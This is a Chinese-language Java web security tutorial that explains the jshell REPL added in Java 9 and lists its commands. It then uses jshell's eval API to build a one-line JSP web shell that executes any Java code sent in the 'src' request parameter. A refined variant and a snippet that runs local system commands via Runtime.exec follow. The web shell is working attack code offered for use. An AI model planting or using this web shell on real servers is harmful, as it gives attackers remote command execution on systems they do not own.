JShell
從Java 9開始提供了一個叫jshell的功能,jshell是一個REPL(Read-Eval-Print Loop)命令行工具,提供了一個交互式命令行界面,在jshell中我們不再需要編寫類也可以執行Java代碼片段,開發者可以像python和php一樣在命令行下愉快的寫測試代碼了。
命令行執行jshell即可進入jshell模式:

輸入:/help可以查看具體的命令:
| 鍵入 Java 語言表達式, 語句或聲明。
| 或者鍵入以下命令之一:
| /list [<名稱或 id>|-all|-start]
| 列出您鍵入的源
| /edit <名稱或 id>
| 編輯按名稱或 id 引用的源條目
| /drop <名稱或 id>
| 刪除按名稱或 id 引用的源條目
| /save [-all|-history|-start] <文件>
| 將片段源保存到文件。
| /open <file>
| 打開文件作為源輸入
| /vars [<名稱或 id>|-all|-start]
| 列出已聲明變量及其值
| /methods [<名稱或 id>|-all|-start]
| 列出已聲明方法及其簽名
| /types [<名稱或 id>|-all|-start]
| 列出已聲明的類型
| /imports
| 列出導入的項
| /exit
| 退出 jshell
| /env [-class-path <路徑>] [-module-path <路徑>] [-add-modules <模塊>] ...
| 查看或更改評估上下文
| /reset [-class-path <路徑>] [-module-path <路徑>] [-add-modules <模塊>]...
| 重啟 jshell
| /reload [-restore] [-quiet] [-class-path <路徑>] [-module-path <路徑>]...
| 重置和重放相關歷史記錄 -- 當前歷史記錄或上一個歷史記錄 (-restore)
| /history
| 您鍵入的內容的歷史記錄
| /help [<command>|<subject>]
| 獲取 jshell 的相關信息
| /set editor|start|feedback|mode|prompt|truncation|format ...
| 設置 jshell 配置信息
| /? [<command>|<subject>]
| 獲取 jshell 的相關信息
| /!
| 重新運行上一個片段
| /<id>
| 按 id 重新運行片段
| /-<n>
| 重新運行前面的第 n 個片段
|
| 有關詳細信息, 請鍵入 '/help', 后跟
| 命令或主題的名稱。
| 例如 '/help /list' 或 '/help intro'。主題:
|
| intro
| jshell 工具的簡介
| shortcuts
| 片段和命令輸入提示, 信息訪問以及
| 自動代碼生成的按鍵說明
| context
| /env /reload 和 /reset 的評估上下文選項
使用JShell執行代碼片段
jshell不僅是一個命令行工具,在我們的應用程序中同樣也可以調用jshell內部的實現API,也就是說我們可以利用jshell來執行Java代碼片段而不再需要將Java代碼編譯成class文件后執行了。
jshell調用了jdk.jshell.JShell類的eval方法來執行我們的代碼片段,那么我們只要想辦法調用這個eval方法也就可以實現真正意義上的一句話木馬了。
jshell.jsp一句話木馬示例:
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>
程序執行后會輸出一些不必要的信息,如果有強迫癥可以修改為:
<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>
然后我們需要編寫一個執行本地命令的代碼片段:
new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())
Java 9的java.io.InputStream類正好提供了一個readAllBytes方法,我們從此以后再也不需要按字節讀取了。
程序執行結果:

Java Web安全